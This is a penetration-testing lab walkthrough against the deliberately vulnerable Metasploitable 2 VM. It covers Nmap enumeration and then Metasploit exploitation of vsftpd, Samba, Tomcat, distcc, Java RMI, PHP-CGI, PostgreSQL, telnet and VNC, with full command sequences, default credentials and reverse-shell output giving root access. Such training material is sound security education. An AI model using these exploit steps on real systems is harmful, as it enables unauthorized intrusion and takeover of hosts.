

# Metasploitable 2

## What is Metasploitable 2 ?

Metasploitable 2 is a Linux virtual machine intentionally designed to be vulnerable to attacks. These virtual machines are commonly used for security training, testing security tools, or practicing various [penetration testing](#) techniques.

## Nmap Overview

Network Mapper (Nmap) is a network scanning and host detection tool that is very useful during several steps of penetration testing. Nmap is not limited to merely gathering information and enumeration. It is also a powerful utility that finds use as a vulnerability detector or a security scanner.

## What does Nmap do?

It basically detects:

- Live host on the network.
- Open ports on the host.
- Software and the version to the respective port.
- Operating system, hardware address, and the software version.

## Service and version detection with Nmap

Command: `nmap -sS -sV <Victim's Ip>`

- `-sS` : SYN Scan
- `-sv` : Service and version detection

```
root@kali: ~  
File Actions Edit View Help  
root@kali:~# nmap -sV -v 192.168.0.197  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-12 10:36 IST  
Nmap scan report for 192.168.0.197  
Host is up (0.0022s latency).  
Not shown: 977 closed tcp ports (reset)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 2.3.4  
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp    open  telnet       Linux telnetd  
25/tcp    open  smtp         Postfix smtpd  
53/tcp    open  domain       ISC BIND 9.4.2  
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
111/tcp   open  rpcbind      2 (RPC #100000)  
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
512/tcp   open  exec?          
513/tcp   open  login          
514/tcp   open  shell?         
1099/tcp  open  java-rmi     GNU Classpath grmiregistry  
1524/tcp  open  bindshell    Metasploitable root shell  
2049/tcp  open  nfs          2-4 (RPC #100003)  
2121/tcp  open  ftp          ProFTPD 1.3.1  
3200/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5  
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7  
5900/tcp  open  vnc          VNC (protocol 3.3)  
6000/tcp  open  X11          (access denied)  
6067/tcp  open  irc          UnrealIRCd  
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)  
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
```

```
1 service unrecognized despite returning data. If you know the service/  
version, please submit the following fingerprint at https://nmap.org/cgi-  
bin/submit.cgi?new-service :  
SF-Port514-TCP:V=7.94SVN&I=7&O=10/12&Time=670A03C5&P=x86_64-pc-linux-gn  
u&R  
SF:(NULL,2B,"x01Couldn't\x20get\x20address\x20for\x20your\x20host\x20\  
(ka  
SF:14))\n");  
MAC Address: 08:00:27:97:5E:9C (Oracle VirtualBox virtual NIC)  
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LA  
N; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at htt  
ps://nmap.org/submit/.  
Nmap done: 1 IP address (1 host up) scanned in 65.27 seconds  
  
root@kali:~#
```

# Exploiting Vulnerabilities

## 1.VSFTPD (VSFTPD v2.3.4 Backdoor Command Execution)

VSFTPD stands for very secure FTP daemon.It's a lightweight, stable, and secure FTP server for UNIX-like systems.

So, we use Metasploit to look for the available exploits for VSFTPD. Let us have a look at how we can carry out this search in Metasploit and then apply it to the target machine.

```
(root@kali)~#  
# msfconsole -t  
msf6 > search vsftp  
Matching Modules  


| # | Name                                 | Disclosure Date | Rank      | Check | Description                              |
|---|--------------------------------------|-----------------|-----------|-------|------------------------------------------|
| 0 | auxiliary/dos/ftp/vsftpd_232         | 2011-02-03      | normal    | Yes   | VSFTPD 2.3.2 Denial of Service           |
| 1 | exploit/unix/ftp/vsftpd_234_backdoor | 2011-07-03      | excellent | No    | VSFTPD v2.3.4 Backdoor Command Execution |

  
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor  
msf6 > |
```

Now we use exploit/unix/ftp/vsftpd\_234\_backdoor for this so we write use 1 to access that.

```
msf6 > use 1  
[*] No payload configured, defaulting to cmd/unix/interact  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > |
```

Now that we have ensured the compatibility of the versions, we are ready to use the exploit. Therefore, let us have a look at the available options.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options  
Module options (exploit/unix/ftp/vsftpd_234_backdoor):  


| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                                                                                            |
| CPORT   |                 | no       | The local client port                                                                                                                                                                               |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                                                                                                                        |
| RHOSTS  |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                                                                                               |

  
Exploit target:  


| Id | Name      |
|----|-----------|
| 0  | Automatic |

  
View the full module info with the info, or info -d command.  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > |
```

Here, RHOST and RPORT are the two options we require. 21 is set as the current value of RPORT, which is for the FTP service. We need to set the value for RHOST, and then we are all set to run this exploit.

```

msf6 exploit(multi/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.0.197
RHOSTS => 192.168.0.197
msf6 exploit(multi/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.0.197:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.0.197:21 - USER: 331 Please specify the password.
[*] 192.168.0.197:21 - Backdoor service has been spawned, handling ...
[*] 192.168.0.197:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.0.164:42927 -> 192.168.0.197:6200) at 2024-10-12 10:56:58 +0530

whoami
root
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:97:5e:9c
          inet addr:192.168.0.197  Bcast:192.168.0.255  Mask:255.255.255.0
          inet6 addr: fd01::a00:27ff:fe97:5e9c/64 Scope:Global
          inet6 addr: fe80::a00:27ff:fe97:5e9c/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1914 errors:0 dropped:0 overruns:0 frame:0

```

Once you run the exploit, you will get root access. Henceforth, the basic steps that we followed for the attack on VSFTPD will be the same for all the services. So, let us now perform these steps on the other services.

## 2. SAMBA (Samba “username map script” Command Execution)

Samba is a popular freeware program that allows end users to access and use files, printers, and other commonly shared resources over the Internet. As we saw earlier, the steps we follow for this attack will be the same as the previous one. We use the following exploit to carry out an attack on SAMBA. For further information about this exploit, use the **info** command.

```

Interact with a module by name or index. For example info 77, use 77 or use exploit/windows/http/sambar6_search_results
After interacting with a module you can manually set a TARGET with set TARGET 'Windows XP'

msf6 > use 15
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      no               no        The local client address
  CPORT      no               no        The local client port
  Proxies    no               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     yes              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

  Name      Current Setting  Required  Description
  ---      -
  LHOST     192.168.0.164    yes       The listen address (an interface may be specified)
  LPORT     4444              yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
msf6 exploit(multi/samba/usermap_script) >

```

Now that we have the exploit set, let us set the necessary options and run the exploit.

```

msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.0.197
RHOSTS => 192.168.0.197
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 192.168.0.164:4444
[*] Command shell session 1 opened (192.168.0.164:4444 -> 192.168.0.197:40968) at 2024-10-12 11:07:10 +0530

whoami
root

```

### 3. Tomcat (Apache Tomcat Manager Application Deployer Authenticated Code Execution)

On Metasploitable-2, Tomcat runs on port 8180. This can be exploited with the following metasploit exploit:

```
msf6 > use 13
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

  Name      Current Setting  Required  Description
  --      -
  HttpPassword  tomcat          no        The password for the specified username
  HttpUsername  tomcat          yes       The username to authenticate as
  PATH         /manager        yes       The URI path of the manager app (/deploy and /undeploy will be used)
  Proxies       []              no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS       192.168.0.197   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
  RPORT        8180            yes       The target port (TCP)
  SSL          false           no        Negotiate SSL/TLS for outgoing connections
  VHOST        http             no        HTTP server virtual host

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.0.164   yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Automatic

View the full module info with the info, or info -d command.
msf6 exploit(multi/http/tomcat_mgr_deploy) > set RHOSTS 192.168.0.197
```

Tomcat's default username as well as password are tomcat, although you can also bruteforce it.

```
msf6 exploit(multi/http/tomcat_mgr_deploy) > set RHOSTS 192.168.0.197
RHOSTS => 192.168.0.197
msf6 exploit(multi/http/tomcat_mgr_deploy) > set LHOSTS 192.168.0.164
LHOSTS => 192.168.0.164
msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpUsername tomcat
HttpUsername => tomcat
msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpPassword tomcat
HttpPassword => tomcat
msf6 exploit(multi/http/tomcat_mgr_deploy) > set target 0
target => 0
msf6 exploit(multi/http/tomcat_mgr_deploy) > set RPORT 8180
RPORT => 8180
msf6 exploit(multi/http/tomcat_mgr_deploy) > run

[*] Started reverse TCP handler on 192.168.0.164:4444
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 6214 bytes as XMSNybak5Scr.war ...
[*] Executing /XMSNybak5Scr/MZcyzc.jsp ...
[*] Undeploying XMSNybak5Scr ...
[*] Sending stage (57971 bytes) to 192.168.0.197
[*] Meterpreter session 1 opened (192.168.0.164:4444 -> 192.168.0.197:50269) at 2024-10-12 12:26:10 +0530

meterpreter > shell
Process 1 created.
Channel 1 created.
```

## 4. DISTCC (DistCC Daemon Command Execution)

DISTCC is a program to distribute builds of C, C++, Objective C or Objective C++ code across several machines on a network. Metasploit has an excellent exploit for the DISTCC services.

```
(root@kali)~[~]
msfconsole -q
msf6 > search DISTCC

Matching Modules

#  Name                               Disclosure Date  Rank    Check  Description
-  -                               -              -      -      -
0  exploit/unix/misc/distcc_exec       2002-02-01      excellent Yes     DistCC Daemon Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/misc/distcc_exec

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_bash
msf6 exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

Name      Current Setting  Required  Description
--      -
CHOST      192.168.1.40    no        The local client address
CPORT      3632            no        The local client port
Proxies    []              no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     192.168.1.30    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      3632            yes       The target port (TCP)

Payload options (cmd/unix/reverse_bash):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.1.40    yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  -
0   Automatic Target

View the full module info with the info, or info -d command.

msf6 exploit(unix/misc/distcc_exec) > set rhosts 192.168.1.30
rhosts => 192.168.1.30
msf6 exploit(unix/misc/distcc_exec) > run

[*] Started reverse TCP handler on 192.168.1.40:4444
[*] 192.168.1.30:3632 - stderr: bash: 184: Bad file descriptor
[*] 192.168.1.30:3632 - stderr: bash: /dev/tcp/192.168.1.40/4444: No such file or directory
[*] 192.168.1.30:3632 - stderr: bash: 184: Bad file descriptor
[*] Exploit completed, but no session was created.
msf6 exploit(unix/misc/distcc_exec) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/misc/distcc_exec) > run

[*] Started reverse TCP double handler on 192.168.1.40:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 90Bd7yUusyG0UDSS;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "90Bd7yUusyG0UDSS\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.40:4444 -> 192.168.1.30:43882) at 2024-10-07 06:10:15 -0400

whoami
daemon
█
```

## 5. GNU Classpath RMI Registry (Java RMI Server Insecure Default Configuration Java Code Execution)

GNU Classpath is a set of essential libraries for supporting the Java programming language.

```
msfconsole -q
msf6 > search rmiregistry

Matching Modules
-----
#  Name                                     Disclosure Date  Rank      Check  Description
--  -
0  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes     Java RMI Server Insecure Default Configuration Java Code Execution
1  \_ target: Generic (Java Payload)         .               .         .       .
2  \_ target: Windows x86 (Native Payload)   .               .         .       .
3  \_ target: Linux x86 (Native Payload)     .               .         .       .
4  \_ target: Mac OS X PPC (Native Payload)  .               .         .       .
5  \_ target: Mac OS X x86 (Native Payload)  .               .         .       .

Interact with a module by name or index. For example info 5, use 5 or use exploit/multi/misc/java_rmi_server
After interacting with a module you can manually set a TARGET with set TARGET 'Mac OS X x86 (Native Payload)'

msf6 > use 0
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
-----
Name      Current Setting  Required  Description
--      -
HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS    1099            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099            yes       The target port (TCP)
SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080            yes       The local port to listen on.
SSL       false           no        Negotiate SSL for incoming connections
SSLCert   no              no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   no              no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):
-----
Name      Current Setting  Required  Description
--      -
LHOST     192.168.0.164    yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:
-----
Id  Name
--  -
0   Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.0.197
RHOSTS => 192.168.0.197
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.0.164:4444
[*] 192.168.0.197:1099 - Using URL: http://192.168.0.164:8080/dnboNvgVij
[*] 192.168.0.197:1099 - Server started.
[*] 192.168.0.197:1099 - Sending RMI Header...
[*] 192.168.0.197:1099 - Sending RMI Call...
[*] 192.168.0.197:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.0.197
[*] Meterpreter session 1 opened (192.168.0.164:4444 -> 192.168.0.197:53749) at 2024-10-12 12:32:52 +0530

meterpreter > getuid
Server username: root
meterpreter >
```



## 6. Apache (CGI Argument Injection)

The Apache webserver has a vulnerable version of PHP installed which we can find out by visiting /phpinfo.php. This version of PHP is vulnerable to PHP CGI Argument Injection.

```
msf6 > use exploit/multi/http/php_cgi_arg_injection
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/php_cgi_arg_injection) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf6 exploit(multi/http/php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

  Name      Current Setting  Required  Description
  ---      -
  PLESK     false           yes       Exploit Plesk
  Proxies   no              no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS    no              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
  RPORT     80             yes       The target port (TCP)
  SSL       false           no        Negotiate SSL/TLS for outgoing connections
  TARGETURI no              no        The URI to request (must be a CGI-handled PHP script)
  URLENCODING 0              yes       Level of URI URLENCODING and padding (0 for minimum)
  VHOST     no              no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  LHOST     192.168.0.164   yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(multi/http/php_cgi_arg_injection) > set RHOSTS 192.168.0.197
RHOSTS => 192.168.0.197
msf6 exploit(multi/http/php_cgi_arg_injection) > set LHOST 192.168.0.164
LHOST => 192.168.0.164
[*] Unknown datastore option: LHOSTS. Did you mean LHOST?
msf6 exploit(multi/http/php_cgi_arg_injection) > run

[*] Started reverse TCP handler on 192.168.0.164:4444
[*] Sending stage (39927 bytes) to 192.168.0.197
[*] Meterpreter session 1 opened (192.168.0.164:4444 -> 192.168.0.197:51887) at 2024-10-12 12:41:14 +0530

meterpreter > getuid
Server username: www-data
meterpreter >
```

## 7. Telnet Exploitation (Port 23):

Telnet is a simple, text-based network protocol that is used for accessing remote computers over TCP/IP networks like the Internet.

```
(root@kali)~# telnet 192.168.0.197
Trying 192.168.0.197...
Connected to 192.168.0.197.
Escape character is '^]'.

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Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Mon Oct 14 07:29:19 EDT 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686

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No mail.
msfadmin@metasploitable:~$ whoami
msfadmin
msfadmin@metasploitable:~$ ls
vulnerable
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:97:5e:9c
```



## 8. PostgreSQL Exploitation (Port 5432):

PostgreSQL is a powerful open-source relational database management system (RDBMS) known for its extensibility and advanced features, providing a robust platform for managing and querying structured data.

```
msf6 > use 22
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(linux/postgres/postgres_payload) > show options

Module options (exploit/linux/postgres/postgres_payload):

  Name      Current Setting  Required  Description
  ---      -
  VERBOSE   false            no        Enable verbose output

Used when connecting via an existing SESSION:

  Name      Current Setting  Required  Description
  ---      -
  SESSION    no               no        The session to run this module on

Used when making a new connection via RHOSTS:

  Name      Current Setting  Required  Description
  ---      -
  DATABASE  postgres         no        The database to authenticate against
  PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
  RHOSTS    192.168.0.197    no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     5432             no        The target port
  USERNAME  postgres         no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  LHOST     192.168.0.197    yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:
```

```
[*] 192.168.0.197 - Meterpreter session 1 closed. Reason: User exit
msf6 exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.0.197
RHOSTS => 192.168.0.197
msf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.0.164
LHOST => 192.168.0.164
msf6 exploit(linux/postgres/postgres_payload) > run

[*] Started reverse TCP handler on 192.168.0.164:4444
[*] 192.168.0.197:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu5)
[*] Uploaded as /tmp/SVGCDf12.so, should be cleaned up automatically
[*] Sending stage (1817704 bytes) to 192.168.0.197
[*] Meterpreter session 2 opened (192.168.0.164:4444 -> 192.168.0.197:49415) at 2024-10-14 20:57:44 +0530

meterpreter > pwd
/var/lib/postgresql/8.3/main
meterpreter >
```

## 9. VNC Exploitation (Port 5900):

Port 5900 is commonly associated with VNC (Virtual Network Computing), a remote desktop sharing system. When used in combination with VNC, port 5900 is often the default port for the initial display (desktop) on a VNC server. VNC allows a user to view and interact with the graphical desktop environment of a remote computer over a network.

```
msf6 > search vnc login

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
--  -
0  auxiliary/scanner/vnc/vnc_login          2018-08-14      normal No     VNC Authentication Scanner
1  post/windows/gather/credentials/mremote  2018-08-14      normal No     Windows Gather mRemote Saved Password Extraction

Interact with a module by name or index. For example info 1, use 1 or use post/windows/gather/credentials/mremote

msf6 > use 0
msf6 auxiliary(scanner/vnc/vnc_login) > show options

Module options (auxiliary/scanner/vnc/vnc_login):

Name          Current Setting  Required  Description
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ANONYMOUS_LOGIN  false           yes       Attempt to login with a blank username and password
BLANK_PASSWORDS  false           no        Try blank passwords for all users
BRUTEFORCE_SPEED  5               yes       How fast to bruteforce, from 0 to 5
DB_ALL_CREDS     false           no        Try each user/password couple stored in the current database
DB_ALL_PASS      false           no        Add all passwords in the current database to the list
DB_ALL_USERS     false           no        Add all users in the current database to the list
DB_SKIP_EXISTING  none            no        Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
PASSWORD         The password to test
PASS_FILE        /usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt
Proxies          A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS           The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT           5900            yes       The target port (TCP)
STOP_ON_SUCCESS  false           yes       Stop guessing when a credential works for a host
THREADS          1               yes       The number of concurrent threads (max one per host)
USERNAME         A specific username to authenticate as
USERPASS_FILE    File containing users and passwords separated by space, one pair per line
USER_AS_PASS     Try the username as the password for all users
USER_FILE        File containing usernames, one per line
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View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/vnc/vnc_login) > set RHOSTS 192.168.0.197
RHOSTS => 192.168.0.197
msf6 auxiliary(scanner/vnc/vnc_login) > run

[*] 192.168.0.197:5900 - 192.168.0.197:5900 - Starting VNC login sweep
[*] 192.168.0.197:5900 - No active DB -- Credential data will not be saved!
[*] 192.168.0.197:5900 - 192.168.0.197:5900 - Login Successful: :password
[*] 192.168.0.197:5900 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/vnc/vnc_login) >
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root@kali: ~
File Actions Edit View Help

(root@kali)-[~]
# vncviewer 192.168.0.197
Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password:
Authentication successful
Desktop name "root's X desktop (metasploitable:0)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
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TightVNC: root's X desktop (metasploitable:0)

root@metasploitable: ~
root@metasploitable:~# ls
bin  dev  initrd  lost+found  nohup.out  root  sss  var
boot  etc  initrd.img  media  opt  shbin  vmlinuz
sbin  home  lib  src  proc  srv  usr

root@metasploitable:~# ifconfig
eth0  Link encap:Ethernet  HWaddr 08:00:27:97:5e:3c
      inet addr:192.168.0.137  Bcast:192.168.0.255  Mask:255.255.255.0
      inet6 addr: fe80::a00:27ff:fe97:5e3c/64 Scope:Global
      inet6 addr: fe80::a00:27ff:fe97:5e3c/64 Scope:Link
      UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
      RX packets:3950 errors:0 dropped:0 overruns:0 frame:0
      TX packets:1562 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:1000
      RX bytes:2326590 (2.2 MB)  TX bytes:383711 (374.7 KB)
      Base address:0xd020 Memory: f0200000-f0220000

lo    Link encap:Local Loopback
      inet addr:127.0.0.1  Mask:255.0.0.0
      inet6 addr: ::1/128 Scope:Host
      UP LOOPBACK RUNNING  MTU:16436  Metric:1
      RX packets:344 errors:0 dropped:0 overruns:0 frame:0
      TX packets:344 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:0
      RX bytes:137817 (134.5 KB)  TX bytes:137817 (134.5 KB)

root@metasploitable:~# whoami
root
root@metasploitable:~# cd root
root@metasploitable:~# ls -la
total 76
drwxr-xr-x 13 root root 4096 Oct 14 07:129 .
drwxr-xr-x 21 root root 4096 May 20 2012 ..
-rw-r--r-- 1 root root 324 Oct 14 07:129 .Kauthority
drwxrwxrwx 1 root root 9 May 14 2012 .bash_history -> /dev/null
-rw-r--r-- 1 root root 2227 Oct 20 2007 .bashrc
drwxr-xr-x 3 root root 4096 May 20 2012 .config
drwxr-xr-x 2 root root 4096 May 20 2012 .filezilla
drwxr-xr-x 5 root root 4096 Oct 14 07:129 .fluxbox
drwxr-xr-x 2 root root 4096 May 20 2012 .gconf
drwxr-xr-x 2 root root 4096 May 20 2012 .gconfd
drwxr-xr-x 2 root root 4096 May 20 2012 .gstviewer-0.10
drwxr-xr-x 4 root root 4096 May 20 2012 .mozilla
-rw-r--r-- 1 root root 141 Oct 20 2007 .profile
drwxr-xr-x 5 root root 4096 May 20 2012 .purple
-rwxr-xr-x 1 root root 4 May 20 2012 .rhosts
drwxr-xr-x 2 root root 4096 May 20 2012 .ssh
drwxr-xr-x 2 root root 4096 Oct 14 07:129 .vnc
drwxr-xr-x 2 root root 4096 May 20 2012 .desktop
-rwxr-xr-x 1 root root 401 May 20 2012 .reset_logs.sh
-rw-r--r-- 1 root root 138 Oct 14 07:129 vnc.log
root@metasploitable:~#
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